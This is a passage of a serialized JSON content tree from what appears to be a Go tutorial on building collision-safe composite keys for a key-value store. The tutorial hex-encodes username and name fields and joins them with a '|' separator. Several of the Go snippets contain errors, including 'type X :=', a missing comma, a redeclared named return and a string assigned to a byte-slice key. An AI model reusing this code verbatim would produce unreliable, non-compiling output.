",{"type":24,"tag":284,"props":92671,"children":92673},{"className":92672},[],[92674],{"type":29,"value":92675},"Modules",{"type":29,"value":66},{"type":24,"tag":25,"props":92678,"children":92679},{},[92680,92682,92687],{"type":29,"value":92681},"With that being said, what if we have to maintain more than one structure within the same ",{"type":24,"tag":284,"props":92683,"children":92685},{"className":92684},[],[92686],{"type":29,"value":91704},{"type":29,"value":7437},{"type":24,"tag":25,"props":92689,"children":92690},{},[92691,92693,92699,92701,92706],{"type":29,"value":92692},"To demonstrate this scenario, we introduce the ",{"type":24,"tag":284,"props":92694,"children":92696},{"className":92695},[],[92697],{"type":29,"value":92698},"NameToAddressMap",{"type":29,"value":92700}," structure, which will be stored in the same ",{"type":24,"tag":284,"props":92702,"children":92704},{"className":92703},[],[92705],{"type":29,"value":91704},{"type":29,"value":92707}," we previously used.",{"type":24,"tag":317,"props":92709,"children":92711},{"code":92710,"language":82891,"meta":7,"className":82892,"style":7},"type VaultId uint64\ntype Username string\n\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n\ntype AddressName string\ntype Address struct {\n data []byte\n}\ntype AddressMap :=\n    map[VaultId]map[Username]map[AddressName]Address\n",[92712],{"type":24,"tag":284,"props":92713,"children":92714},{"__ignoreMap":7},[92715,92730,92745,92752,92767,92786,92801,92808,92823,92878,92885,92901,92921,92936,92943,92959],{"type":24,"tag":327,"props":92716,"children":92717},{"class":329,"line":330},[92718,92722,92726],{"type":24,"tag":327,"props":92719,"children":92720},{"style":334},[92721],{"type":29,"value":39467},{"type":24,"tag":327,"props":92723,"children":92724},{"style":1639},[92725],{"type":29,"value":91750},{"type":24,"tag":327,"props":92727,"children":92728},{"style":1639},[92729],{"type":29,"value":82929},{"type":24,"tag":327,"props":92731,"children":92732},{"class":329,"line":367},[92733,92737,92741],{"type":24,"tag":327,"props":92734,"children":92735},{"style":334},[92736],{"type":29,"value":39467},{"type":24,"tag":327,"props":92738,"children":92739},{"style":1639},[92740],{"type":29,"value":91766},{"type":24,"tag":327,"props":92742,"children":92743},{"style":1639},[92744],{"type":29,"value":91771},{"type":24,"tag":327,"props":92746,"children":92747},{"class":329,"line":408},[92748],{"type":24,"tag":327,"props":92749,"children":92750},{"emptyLinePlaceholder":16},[92751],{"type":29,"value":544},{"type":24,"tag":327,"props":92753,"children":92754},{"class":329,"line":421},[92755,92759,92763],{"type":24,"tag":327,"props":92756,"children":92757},{"style":334},[92758],{"type":29,"value":39467},{"type":24,"tag":327,"props":92760,"children":92761},{"style":1639},[92762],{"type":29,"value":91783},{"type":24,"tag":327,"props":92764,"children":92765},{"style":1639},[92766],{"type":29,"value":91771},{"type":24,"tag":327,"props":92768,"children":92769},{"class":329,"line":450},[92770,92774,92778,92782],{"type":24,"tag":327,"props":92771,"children":92772},{"style":334},[92773],{"type":29,"value":39467},{"type":24,"tag":327,"props":92775,"children":92776},{"style":1639},[92777],{"type":29,"value":14987},{"type":24,"tag":327,"props":92779,"children":92780},{"style":334},[92781],{"type":29,"value":2529},{"type":24,"tag":327,"props":92783,"children":92784},{"style":346},[92785],{"type":29,"value":497},{"type":24,"tag":327,"props":92787,"children":92788},{"class":329,"line":481},[92789,92793,92797],{"type":24,"tag":327,"props":92790,"children":92791},{"style":356},[92792],{"type":29,"value":49947},{"type":24,"tag":327,"props":92794,"children":92795},{"style":346},[92796],{"type":29,"value":82954},{"type":24,"tag":327,"props":92798,"children":92799},{"style":1639},[92800],{"type":29,"value":90955},{"type":24,"tag":327,"props":92802,"children":92803},{"class":329,"line":500},[92804],{"type":24,"tag":327,"props":92805,"children":92806},{"style":346},[92807],{"type":29,"value":592},{"type":24,"tag":327,"props":92809,"children":92810},{"class":329,"line":529},[92811,92815,92819],{"type":24,"tag":327,"props":92812,"children":92813},{"style":334},[92814],{"type":29,"value":39467},{"type":24,"tag":327,"props":92816,"children":92817},{"style":1639},[92818],{"type":29,"value":91840},{"type":24,"tag":327,"props":92820,"children":92821},{"style":381},[92822],{"type":29,"value":91845},{"type":24,"tag":327,"props":92824,"children":92825},{"class":329,"line":538},[92826,92830,92834,92838,92842,92846,92850,92854,92858,92862,92866,92870,92874],{"type":24,"tag":327,"props":92827,"children":92828},{"style":334},[92829],{"type":29,"value":91853},{"type":24,"tag":327,"props":92831,"children":92832},{"style":346},[92833],{"type":29,"value":11329},{"type":24,"tag":327,"props":92835,"children":92836},{"style":1639},[92837],{"type":29,"value":91862},{"type":24,"tag":327,"props":92839,"children":92840},{"style":346},[92841],{"type":29,"value":22934},{"type":24,"tag":327,"props":92843,"children":92844},{"style":334},[92845],{"type":29,"value":73826},{"type":24,"tag":327,"props":92847,"children":92848},{"style":346},[92849],{"type":29,"value":11329},{"type":24,"tag":327,"props":92851,"children":92852},{"style":1639},[92853],{"type":29,"value":91879},{"type":24,"tag":327,"props":92855,"children":92856},{"style":346},[92857],{"type":29,"value":22934},{"type":24,"tag":327,"props":92859,"children":92860},{"style":334},[92861],{"type":29,"value":73826},{"type":24,"tag":327,"props":92863,"children":92864},{"style":346},[92865],{"type":29,"value":11329},{"type":24,"tag":327,"props":92867,"children":92868},{"style":1639},[92869],{"type":29,"value":91896},{"type":24,"tag":327,"props":92871,"children":92872},{"style":346},[92873],{"type":29,"value":22934},{"type":24,"tag":327,"props":92875,"children":92876},{"style":1639},[92877],{"type":29,"value":91905},{"type":24,"tag":327,"props":92879,"children":92880},{"class":329,"line":547},[92881],{"type":24,"tag":327,"props":92882,"children":92883},{"emptyLinePlaceholder":16},[92884],{"type":29,"value":544},{"type":24,"tag":327,"props":92886,"children":92887},{"class":329,"line":557},[92888,92892,92897],{"type":24,"tag":327,"props":92889,"children":92890},{"style":334},[92891],{"type":29,"value":39467},{"type":24,"tag":327,"props":92893,"children":92894},{"style":1639},[92895],{"type":29,"value":92896}," AddressName",{"type":24,"tag":327,"props":92898,"children":92899},{"style":1639},[92900],{"type":29,"value":91771},{"type":24,"tag":327,"props":92902,"children":92903},{"class":329,"line":586},[92904,92908,92913,92917],{"type":24,"tag":327,"props":92905,"children":92906},{"style":334},[92907],{"type":29,"value":39467},{"type":24,"tag":327,"props":92909,"children":92910},{"style":1639},[92911],{"type":29,"value":92912}," Address",{"type":24,"tag":327,"props":92914,"children":92915},{"style":334},[92916],{"type":29,"value":2529},{"type":24,"tag":327,"props":92918,"children":92919},{"style":346},[92920],{"type":29,"value":497},{"type":24,"tag":327,"props":92922,"children":92923},{"class":329,"line":1017},[92924,92928,92932],{"type":24,"tag":327,"props":92925,"children":92926},{"style":356},[92927],{"type":29,"value":22628},{"type":24,"tag":327,"props":92929,"children":92930},{"style":346},[92931],{"type":29,"value":82954},{"type":24,"tag":327,"props":92933,"children":92934},{"style":1639},[92935],{"type":29,"value":90955},{"type":24,"tag":327,"props":92937,"children":92938},{"class":329,"line":1026},[92939],{"type":24,"tag":327,"props":92940,"children":92941},{"style":346},[92942],{"type":29,"value":592},{"type":24,"tag":327,"props":92944,"children":92945},{"class":329,"line":1048},[92946,92950,92955],{"type":24,"tag":327,"props":92947,"children":92948},{"style":334},[92949],{"type":29,"value":39467},{"type":24,"tag":327,"props":92951,"children":92952},{"style":1639},[92953],{"type":29,"value":92954}," AddressMap",{"type":24,"tag":327,"props":92956,"children":92957},{"style":381},[92958],{"type":29,"value":91845},{"type":24,"tag":327,"props":92960,"children":92961},{"class":329,"line":1067},[92962,92966,92970,92974,92978,92982,92986,92990,92994,92998,93002,93007,93011],{"type":24,"tag":327,"props":92963,"children":92964},{"style":334},[92965],{"type":29,"value":91853},{"type":24,"tag":327,"props":92967,"children":92968},{"style":346},[92969],{"type":29,"value":11329},{"type":24,"tag":327,"props":92971,"children":92972},{"style":1639},[92973],{"type":29,"value":91862},{"type":24,"tag":327,"props":92975,"children":92976},{"style":346},[92977],{"type":29,"value":22934},{"type":24,"tag":327,"props":92979,"children":92980},{"style":334},[92981],{"type":29,"value":73826},{"type":24,"tag":327,"props":92983,"children":92984},{"style":346},[92985],{"type":29,"value":11329},{"type":24,"tag":327,"props":92987,"children":92988},{"style":1639},[92989],{"type":29,"value":91879},{"type":24,"tag":327,"props":92991,"children":92992},{"style":346},[92993],{"type":29,"value":22934},{"type":24,"tag":327,"props":92995,"children":92996},{"style":334},[92997],{"type":29,"value":73826},{"type":24,"tag":327,"props":92999,"children":93000},{"style":346},[93001],{"type":29,"value":11329},{"type":24,"tag":327,"props":93003,"children":93004},{"style":1639},[93005],{"type":29,"value":93006},"AddressName",{"type":24,"tag":327,"props":93008,"children":93009},{"style":346},[93010],{"type":29,"value":22934},{"type":24,"tag":327,"props":93012,"children":93013},{"style":1639},[93014],{"type":29,"value":93015},"Address\n",{"type":24,"tag":25,"props":93017,"children":93018},{},[93019],{"type":29,"value":93020},"Referencing previous examples, it is necessary to sanitize/encode each key field and add seperators between fields to prevent key collisions. By putting these measures into practice, we present the following implementation below:",{"type":24,"tag":317,"props":93022,"children":93024},{"code":93023,"language":82891,"meta":7,"className":82892,"style":7},"const (\n    Seperator = \"|\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%d%s%s%s%s\",\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%d%s%s%s%s\",\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    )\n}\n",[93025],{"type":24,"tag":284,"props":93026,"children":93027},{"__ignoreMap":7},[93028,93039,93054,93061,93068,93075,93091,93106,93133,93156,93175,93191,93227,93234,93269,93276,93296,93311,93346,93353,93388,93395,93423,93435,93447,93459,93471,93482,93494,93501,93508,93515,93522,93538,93553,93577,93600,93619,93634,93669,93676,93711,93718,93738,93753,93788,93795,93831,93838,93865,93876,93887,93898,93909,93920,93932,93939],{"type":24,"tag":327,"props":93029,"children":93030},{"class":329,"line":330},[93031,93035],{"type":24,"tag":327,"props":93032,"children":93033},{"style":334},[93034],{"type":29,"value":17202},{"type":24,"tag":327,"props":93036,"children":93037},{"style":346},[93038],{"type":29,"value":85293},{"type":24,"tag":327,"props":93040,"children":93041},{"class":329,"line":367},[93042,93046,93050],{"type":24,"tag":327,"props":93043,"children":93044},{"style":356},[93045],{"type":29,"value":92058},{"type":24,"tag":327,"props":93047,"children":93048},{"style":381},[93049],{"type":29,"value":4809},{"type":24,"tag":327,"props":93051,"children":93052},{"style":844},[93053],{"type":29,"value":92067},{"type":24,"tag":327,"props":93055,"children":93056},{"class":329,"line":408},[93057],{"type":24,"tag":327,"props":93058,"children":93059},{"style":346},[93060],{"type":29,"value":852},{"type":24,"tag":327,"props":93062,"children":93063},{"class":329,"line":421},[93064],{"type":24,"tag":327,"props":93065,"children":93066},{"emptyLinePlaceholder":16},[93067],{"type":29,"value":544},{"type":24,"tag":327,"props":93069,"children":93070},{"class":329,"line":450},[93071],{"type":24,"tag":327,"props":93072,"children":93073},{"emptyLinePlaceholder":16},[93074],{"type":29,"value":544},{"type":24,"tag":327,"props":93076,"children":93077},{"class":329,"line":481},[93078,93082,93087],{"type":24,"tag":327,"props":93079,"children":93080},{"style":334},[93081],{"type":29,"value":83027},{"type":24,"tag":327,"props":93083,"children":93084},{"style":340},[93085],{"type":29,"value":93086}," PositionMapKey",{"type":24,"tag":327,"props":93088,"children":93089},{"style":346},[93090],{"type":29,"value":4663},{"type":24,"tag":327,"props":93092,"children":93093},{"class":329,"line":500},[93094,93098,93102],{"type":24,"tag":327,"props":93095,"children":93096},{"style":356},[93097],{"type":29,"value":91974},{"type":24,"tag":327,"props":93099,"children":93100},{"style":1639},[93101],{"type":29,"value":83148},{"type":24,"tag":327,"props":93103,"children":93104},{"style":346},[93105],{"type":29,"value":2231},{"type":24,"tag":327,"props":93107,"children":93108},{"class":329,"line":529},[93109,93113,93117,93121,93125,93129],{"type":24,"tag":327,"props":93110,"children":93111},{"style":356},[93112],{"type":29,"value":91986},{"type":24,"tag":327,"props":93114,"children":93115},{"style":346},[93116],{"type":29,"value":2744},{"type":24,"tag":327,"props":93118,"children":93119},{"style":356},[93120],{"type":29,"value":92467},{"type":24,"tag":327,"props":93122,"children":93123},{"style":346},[93124],{"type":29,"value":82954},{"type":24,"tag":327,"props":93126,"children":93127},{"style":1639},[93128],{"type":29,"value":91492},{"type":24,"tag":327,"props":93130,"children":93131},{"style":346},[93132],{"type":29,"value":2231},{"type":24,"tag":327,"props":93134,"children":93135},{"class":329,"line":538},[93136,93140,93144,93148,93152],{"type":24,"tag":327,"props":93137,"children":93138},{"style":346},[93139],{"type":29,"value":83109},{"type":24,"tag":327,"props":93141,"children":93142},{"style":356},[93143],{"type":29,"value":78881},{"type":24,"tag":327,"props":93145,"children":93146},{"style":346},[93147],{"type":29,"value":82954},{"type":24,"tag":327,"props":93149,"children":93150},{"style":1639},[93151],{"type":29,"value":91492},{"type":24,"tag":327,"props":93153,"children":93154},{"style":346},[93155],{"type":29,"value":364},{"type":24,"tag":327,"props":93157,"children":93158},{"class":329,"line":547},[93159,93163,93167,93171],{"type":24,"tag":327,"props":93160,"children":93161},{"style":356},[93162],{"type":29,"value":92588},{"type":24,"tag":327,"props":93164,"children":93165},{"style":381},[93166],{"type":29,"value":83143},{"type":24,"tag":327,"props":93168,"children":93169},{"style":340},[93170],{"type":29,"value":92291},{"type":24,"tag":327,"props":93172,"children":93173},{"style":346},[93174],{"type":29,"value":4663},{"type":24,"tag":327,"props":93176,"children":93177},{"class":329,"line":557},[93178,93183,93187],{"type":24,"tag":327,"props":93179,"children":93180},{"style":346},[93181],{"type":29,"value":93182},"        []",{"type":24,"tag":327,"props":93184,"children":93185},{"style":1639},[93186],{"type":29,"value":91492},{"type":24,"tag":327,"props":93188,"children":93189},{"style":346},[93190],{"type":29,"value":2231},{"type":24,"tag":327,"props":93192,"children":93193},{"class":329,"line":586},[93194,93199,93203,93207,93211,93215,93219,93223],{"type":24,"tag":327,"props":93195,"children":93196},{"style":356},[93197],{"type":29,"value":93198},"        hex",{"type":24,"tag":327,"props":93200,"children":93201},{"style":346},[93202],{"type":29,"value":66},{"type":24,"tag":327,"props":93204,"children":93205},{"style":340},[93206],{"type":29,"value":92328},{"type":24,"tag":327,"props":93208,"children":93209},{"style":346},[93210],{"type":29,"value":349},{"type":24,"tag":327,"props":93212,"children":93213},{"style":340},[93214],{"type":29,"value":4906},{"type":24,"tag":327,"props":93216,"children":93217},{"style":346},[93218],{"type":29,"value":349},{"type":24,"tag":327,"props":93220,"children":93221},{"style":356},[93222],{"type":29,"value":92198},{"type":24,"tag":327,"props":93224,"children":93225},{"style":346},[93226],{"type":29,"value":92349},{"type":24,"tag":327,"props":93228,"children":93229},{"class":329,"line":1017},[93230],{"type":24,"tag":327,"props":93231,"children":93232},{"style":346},[93233],{"type":29,"value":5366},{"type":24,"tag":327,"props":93235,"children":93236},{"class":329,"line":1026},[93237,93241,93245,93249,93253,93257,93261,93265],{"type":24,"tag":327,"props":93238,"children":93239},{"style":356},[93240],{"type":29,"value":92319},{"type":24,"tag":327,"props":93242,"children":93243},{"style":346},[93244],{"type":29,"value":66},{"type":24,"tag":327,"props":93246,"children":93247},{"style":340},[93248],{"type":29,"value":92373},{"type":24,"tag":327,"props":93250,"children":93251},{"style":346},[93252],{"type":29,"value":349},{"type":24,"tag":327,"props":93254,"children":93255},{"style":356},[93256],{"type":29,"value":92282},{"type":24,"tag":327,"props":93258,"children":93259},{"style":346},[93260],{"type":29,"value":2744},{"type":24,"tag":327,"props":93262,"children":93263},{"style":356},[93264],{"type":29,"value":92198},{"type":24,"tag":327,"props":93266,"children":93267},{"style":346},[93268],{"type":29,"value":852},{"type":24,"tag":327,"props":93270,"children":93271},{"class":329,"line":1048},[93272],{"type":24,"tag":327,"props":93273,"children":93274},{"emptyLinePlaceholder":16},[93275],{"type":29,"value":544},{"type":24,"tag":327,"props":93277,"children":93278},{"class":329,"line":1067},[93279,93284,93288,93292],{"type":24,"tag":327,"props":93280,"children":93281},{"style":356},[93282],{"type":29,"value":93283},"    positionNameEncoded",{"type":24,"tag":327,"props":93285,"children":93286},{"style":381},[93287],{"type":29,"value":83143},{"type":24,"tag":327,"props":93289,"children":93290},{"style":340},[93291],{"type":29,"value":92291},{"type":24,"tag":327,"props":93293,"children":93294},{"style":346},[93295],{"type":29,"value":4663},{"type":24,"tag":327,"props":93297,"children":93298},{"class":329,"line":1075},[93299,93303,93307],{"type":24,"tag":327,"props":93300,"children":93301},{"style":346},[93302],{"type":29,"value":93182},{"type":24,"tag":327,"props":93304,"children":93305},{"style":1639},[93306],{"type":29,"value":91492},{"type":24,"tag":327,"props":93308,"children":93309},{"style":346},[93310],{"type":29,"value":2231},{"type":24,"tag":327,"props":93312,"children":93313},{"class":329,"line":1084},[93314,93318,93322,93326,93330,93334,93338,93342],{"type":24,"tag":327,"props":93315,"children":93316},{"style":356},[93317],{"type":29,"value":93198},{"type":24,"tag":327,"props":93319,"children":93320},{"style":346},[93321],{"type":29,"value":66},{"type":24,"tag":327,"props":93323,"children":93324},{"style":340},[93325],{"type":29,"value":92328},{"type":24,"tag":327,"props":93327,"children":93328},{"style":346},[93329],{"type":29,"value":349},{"type":24,"tag":327,"props":93331,"children":93332},{"style":340},[93333],{"type":29,"value":4906},{"type":24,"tag":327,"props":93335,"children":93336},{"style":346},[93337],{"type":29,"value":349},{"type":24,"tag":327,"props":93339,"children":93340},{"style":356},[93341],{"type":29,"value":92467},{"type":24,"tag":327,"props":93343,"children":93344},{"style":346},[93345],{"type":29,"value":92349},{"type":24,"tag":327,"props":93347,"children":93348},{"class":329,"line":1100},[93349],{"type":24,"tag":327,"props":93350,"children":93351},{"style":346},[93352],{"type":29,"value":5366},{"type":24,"tag":327,"props":93354,"children":93355},{"class":329,"line":1128},[93356,93360,93364,93368,93372,93376,93380,93384],{"type":24,"tag":327,"props":93357,"children":93358},{"style":356},[93359],{"type":29,"value":92319},{"type":24,"tag":327,"props":93361,"children":93362},{"style":346},[93363],{"type":29,"value":66},{"type":24,"tag":327,"props":93365,"children":93366},{"style":340},[93367],{"type":29,"value":92373},{"type":24,"tag":327,"props":93369,"children":93370},{"style":346},[93371],{"type":29,"value":349},{"type":24,"tag":327,"props":93373,"children":93374},{"style":356},[93375],{"type":29,"value":92408},{"type":24,"tag":327,"props":93377,"children":93378},{"style":346},[93379],{"type":29,"value":2744},{"type":24,"tag":327,"props":93381,"children":93382},{"style":356},[93383],{"type":29,"value":92467},{"type":24,"tag":327,"props":93385,"children":93386},{"style":346},[93387],{"type":29,"value":852},{"type":24,"tag":327,"props":93389,"children":93390},{"class":329,"line":1148},[93391],{"type":24,"tag":327,"props":93392,"children":93393},{"emptyLinePlaceholder":16},[93394],{"type":29,"value":544},{"type":24,"tag":327,"props":93396,"children":93397},{"class":329,"line":1176},[93398,93403,93407,93411,93415,93419],{"type":24,"tag":327,"props":93399,"children":93400},{"style":356},[93401],{"type":29,"value":93402},"    key",{"type":24,"tag":327,"props":93404,"children":93405},{"style":381},[93406],{"type":29,"value":83143},{"type":24,"tag":327,"props":93408,"children":93409},{"style":356},[93410],{"type":29,"value":88961},{"type":24,"tag":327,"props":93412,"children":93413},{"style":346},[93414],{"type":29,"value":66},{"type":24,"tag":327,"props":93416,"children":93417},{"style":340},[93418],{"type":29,"value":91950},{"type":24,"tag":327,"props":93420,"children":93421},{"style":346},[93422],{"type":29,"value":4663},{"type":24,"tag":327,"props":93424,"children":93425},{"class":329,"line":1184},[93426,93431],{"type":24,"tag":327,"props":93427,"children":93428},{"style":844},[93429],{"type":29,"value":93430},"        \"%d%s%s%s%s\"",{"type":24,"tag":327,"props":93432,"children":93433},{"style":346},[93434],{"type":29,"value":2231},{"type":24,"tag":327,"props":93436,"children":93437},{"class":329,"line":1192},[93438,93443],{"type":24,"tag":327,"props":93439,"children":93440},{"style":356},[93441],{"type":29,"value":93442},"        vaultId",{"type":24,"tag":327,"props":93444,"children":93445},{"style":346},[93446],{"type":29,"value":2231},{"type":24,"tag":327,"props":93448,"children":93449},{"class":329,"line":1212},[93450,93455],{"type":24,"tag":327,"props":93451,"children":93452},{"style":356},[93453],{"type":29,"value":93454},"        Seperator",{"type":24,"tag":327,"props":93456,"children":93457},{"style":346},[93458],{"type":29,"value":2231},{"type":24,"tag":327,"props":93460,"children":93461},{"class":329,"line":4841},[93462,93467],{"type":24,"tag":327,"props":93463,"children":93464},{"style":356},[93465],{"type":29,"value":93466},"        usernameEncoded",{"type":24,"tag":327,"props":93468,"children":93469},{"style":346},[93470],{"type":29,"value":2231},{"type":24,"tag":327,"props":93472,"children":93473},{"class":329,"line":4862},[93474,93478],{"type":24,"tag":327,"props":93475,"children":93476},{"style":356},[93477],{"type":29,"value":93454},{"type":24,"tag":327,"props":93479,"children":93480},{"style":346},[93481],{"type":29,"value":2231},{"type":24,"tag":327,"props":93483,"children":93484},{"class":329,"line":4870},[93485,93490],{"type":24,"tag":327,"props":93486,"children":93487},{"style":356},[93488],{"type":29,"value":93489},"        positionNameEncoded",{"type":24,"tag":327,"props":93491,"children":93492},{"style":346},[93493],{"type":29,"value":2231},{"type":24,"tag":327,"props":93495,"children":93496},{"class":329,"line":4879},[93497],{"type":24,"tag":327,"props":93498,"children":93499},{"style":346},[93500],{"type":29,"value":5366},{"type":24,"tag":327,"props":93502,"children":93503},{"class":329,"line":4913},[93504],{"type":24,"tag":327,"props":93505,"children":93506},{"style":346},[93507],{"type":29,"value":592},{"type":24,"tag":327,"props":93509,"children":93510},{"class":329,"line":4938},[93511],{"type":24,"tag":327,"props":93512,"children":93513},{"emptyLinePlaceholder":16},[93514],{"type":29,"value":544},{"type":24,"tag":327,"props":93516,"children":93517},{"class":329,"line":4974},[93518],{"type":24,"tag":327,"props":93519,"children":93520},{"emptyLinePlaceholder":16},[93521],{"type":29,"value":544},{"type":24,"tag":327,"props":93523,"children":93524},{"class":329,"line":4982},[93525,93529,93534],{"type":24,"tag":327,"props":93526,"children":93527},{"style":334},[93528],{"type":29,"value":83027},{"type":24,"tag":327,"props":93530,"children":93531},{"style":340},[93532],{"type":29,"value":93533}," AddressMapKey",{"type":24,"tag":327,"props":93535,"children":93536},{"style":346},[93537],{"type":29,"value":4663},{"type":24,"tag":327,"props":93539,"children":93540},{"class":329,"line":4990},[93541,93545,93549],{"type":24,"tag":327,"props":93542,"children":93543},{"style":356},[93544],{"type":29,"value":91974},{"type":24,"tag":327,"props":93546,"children":93547},{"style":1639},[93548],{"type":29,"value":83148},{"type":24,"tag":327,"props":93550,"children":93551},{"style":346},[93552],{"type":29,"value":2231},{"type":24,"tag":327,"props":93554,"children":93555},{"class":329,"line":4999},[93556,93560,93564,93569,93573],{"type":24,"tag":327,"props":93557,"children":93558},{"style":356},[93559],{"type":29,"value":91986},{"type":24,"tag":327,"props":93561,"children":93562},{"style":346},[93563],{"type":29,"value":2744},{"type":24,"tag":327,"props":93565,"children":93566},{"style":356},[93567],{"type":29,"value":93568},"addressName",{"type":24,"tag":327,"props":93570,"children":93571},{"style":346},[93572],{"type":29,"value":82954},{"type":24,"tag":327,"props":93574,"children":93575},{"style":1639},[93576],{"type":29,"value":90955},{"type":24,"tag":327,"props":93578,"children":93579},{"class":329,"line":5042},[93580,93584,93588,93592,93596],{"type":24,"tag":327,"props":93581,"children":93582},{"style":346},[93583],{"type":29,"value":83109},{"type":24,"tag":327,"props":93585,"children":93586},{"style":356},[93587],{"type":29,"value":78881},{"type":24,"tag":327,"props":93589,"children":93590},{"style":346},[93591],{"type":29,"value":82954},{"type":24,"tag":327,"props":93593,"children":93594},{"style":1639},[93595],{"type":29,"value":91492},{"type":24,"tag":327,"props":93597,"children":93598},{"style":346},[93599],{"type":29,"value":364},{"type":24,"tag":327,"props":93601,"children":93602},{"class":329,"line":5075},[93603,93607,93611,93615],{"type":24,"tag":327,"props":93604,"children":93605},{"style":356},[93606],{"type":29,"value":92588},{"type":24,"tag":327,"props":93608,"children":93609},{"style":381},[93610],{"type":29,"value":83143},{"type":24,"tag":327,"props":93612,"children":93613},{"style":340},[93614],{"type":29,"value":92291},{"type":24,"tag":327,"props":93616,"children":93617},{"style":346},[93618],{"type":29,"value":4663},{"type":24,"tag":327,"props":93620,"children":93621},{"class":329,"line":5083},[93622,93626,93630],{"type":24,"tag":327,"props":93623,"children":93624},{"style":346},[93625],{"type":29,"value":93182},{"type":24,"tag":327,"props":93627,"children":93628},{"style":1639},[93629],{"type":29,"value":91492},{"type":24,"tag":327,"props":93631,"children":93632},{"style":346},[93633],{"type":29,"value":2231},{"type":24,"tag":327,"props":93635,"children":93636},{"class":329,"line":5091},[93637,93641,93645,93649,93653,93657,93661,93665],{"type":24,"tag":327,"props":93638,"children":93639},{"style":356},[93640],{"type":29,"value":93198},{"type":24,"tag":327,"props":93642,"children":93643},{"style":346},[93644],{"type":29,"value":66},{"type":24,"tag":327,"props":93646,"children":93647},{"style":340},[93648],{"type":29,"value":92328},{"type":24,"tag":327,"props":93650,"children":93651},{"style":346},[93652],{"type":29,"value":349},{"type":24,"tag":327,"props":93654,"children":93655},{"style":340},[93656],{"type":29,"value":4906},{"type":24,"tag":327,"props":93658,"children":93659},{"style":346},[93660],{"type":29,"value":349},{"type":24,"tag":327,"props":93662,"children":93663},{"style":356},[93664],{"type":29,"value":92198},{"type":24,"tag":327,"props":93666,"children":93667},{"style":346},[93668],{"type":29,"value":92349},{"type":24,"tag":327,"props":93670,"children":93671},{"class":329,"line":5100},[93672],{"type":24,"tag":327,"props":93673,"children":93674},{"style":346},[93675],{"type":29,"value":5366},{"type":24,"tag":327,"props":93677,"children":93678},{"class":329,"line":5176},[93679,93683,93687,93691,93695,93699,93703,93707],{"type":24,"tag":327,"props":93680,"children":93681},{"style":356},[93682],{"type":29,"value":92319},{"type":24,"tag":327,"props":93684,"children":93685},{"style":346},[93686],{"type":29,"value":66},{"type":24,"tag":327,"props":93688,"children":93689},{"style":340},[93690],{"type":29,"value":92373},{"type":24,"tag":327,"props":93692,"children":93693},{"style":346},[93694],{"type":29,"value":349},{"type":24,"tag":327,"props":93696,"children":93697},{"style":356},[93698],{"type":29,"value":92282},{"type":24,"tag":327,"props":93700,"children":93701},{"style":346},[93702],{"type":29,"value":2744},{"type":24,"tag":327,"props":93704,"children":93705},{"style":356},[93706],{"type":29,"value":92198},{"type":24,"tag":327,"props":93708,"children":93709},{"style":346},[93710],{"type":29,"value":852},{"type":24,"tag":327,"props":93712,"children":93713},{"class":329,"line":5209},[93714],{"type":24,"tag":327,"props":93715,"children":93716},{"emptyLinePlaceholder":16},[93717],{"type":29,"value":544},{"type":24,"tag":327,"props":93719,"children":93720},{"class":329,"line":5217},[93721,93726,93730,93734],{"type":24,"tag":327,"props":93722,"children":93723},{"style":356},[93724],{"type":29,"value":93725},"    addressNameEncoded",{"type":24,"tag":327,"props":93727,"children":93728},{"style":381},[93729],{"type":29,"value":83143},{"type":24,"tag":327,"props":93731,"children":93732},{"style":340},[93733],{"type":29,"value":92291},{"type":24,"tag":327,"props":93735,"children":93736},{"style":346},[93737],{"type":29,"value":4663},{"type":24,"tag":327,"props":93739,"children":93740},{"class":329,"line":5225},[93741,93745,93749],{"type":24,"tag":327,"props":93742,"children":93743},{"style":346},[93744],{"type":29,"value":93182},{"type":24,"tag":327,"props":93746,"children":93747},{"style":1639},[93748],{"type":29,"value":91492},{"type":24,"tag":327,"props":93750,"children":93751},{"style":346},[93752],{"type":29,"value":2231},{"type":24,"tag":327,"props":93754,"children":93755},{"class":329,"line":5263},[93756,93760,93764,93768,93772,93776,93780,93784],{"type":24,"tag":327,"props":93757,"children":93758},{"style":356},[93759],{"type":29,"value":93198},{"type":24,"tag":327,"props":93761,"children":93762},{"style":346},[93763],{"type":29,"value":66},{"type":24,"tag":327,"props":93765,"children":93766},{"style":340},[93767],{"type":29,"value":92328},{"type":24,"tag":327,"props":93769,"children":93770},{"style":346},[93771],{"type":29,"value":349},{"type":24,"tag":327,"props":93773,"children":93774},{"style":340},[93775],{"type":29,"value":4906},{"type":24,"tag":327,"props":93777,"children":93778},{"style":346},[93779],{"type":29,"value":349},{"type":24,"tag":327,"props":93781,"children":93782},{"style":356},[93783],{"type":29,"value":93568},{"type":24,"tag":327,"props":93785,"children":93786},{"style":346},[93787],{"type":29,"value":92349},{"type":24,"tag":327,"props":93789,"children":93790},{"class":329,"line":5276},[93791],{"type":24,"tag":327,"props":93792,"children":93793},{"style":346},[93794],{"type":29,"value":5366},{"type":24,"tag":327,"props":93796,"children":93797},{"class":329,"line":5289},[93798,93802,93806,93810,93814,93819,93823,93827],{"type":24,"tag":327,"props":93799,"children":93800},{"style":356},[93801],{"type":29,"value":92319},{"type":24,"tag":327,"props":93803,"children":93804},{"style":346},[93805],{"type":29,"value":66},{"type":24,"tag":327,"props":93807,"children":93808},{"style":340},[93809],{"type":29,"value":92373},{"type":24,"tag":327,"props":93811,"children":93812},{"style":346},[93813],{"type":29,"value":349},{"type":24,"tag":327,"props":93815,"children":93816},{"style":356},[9381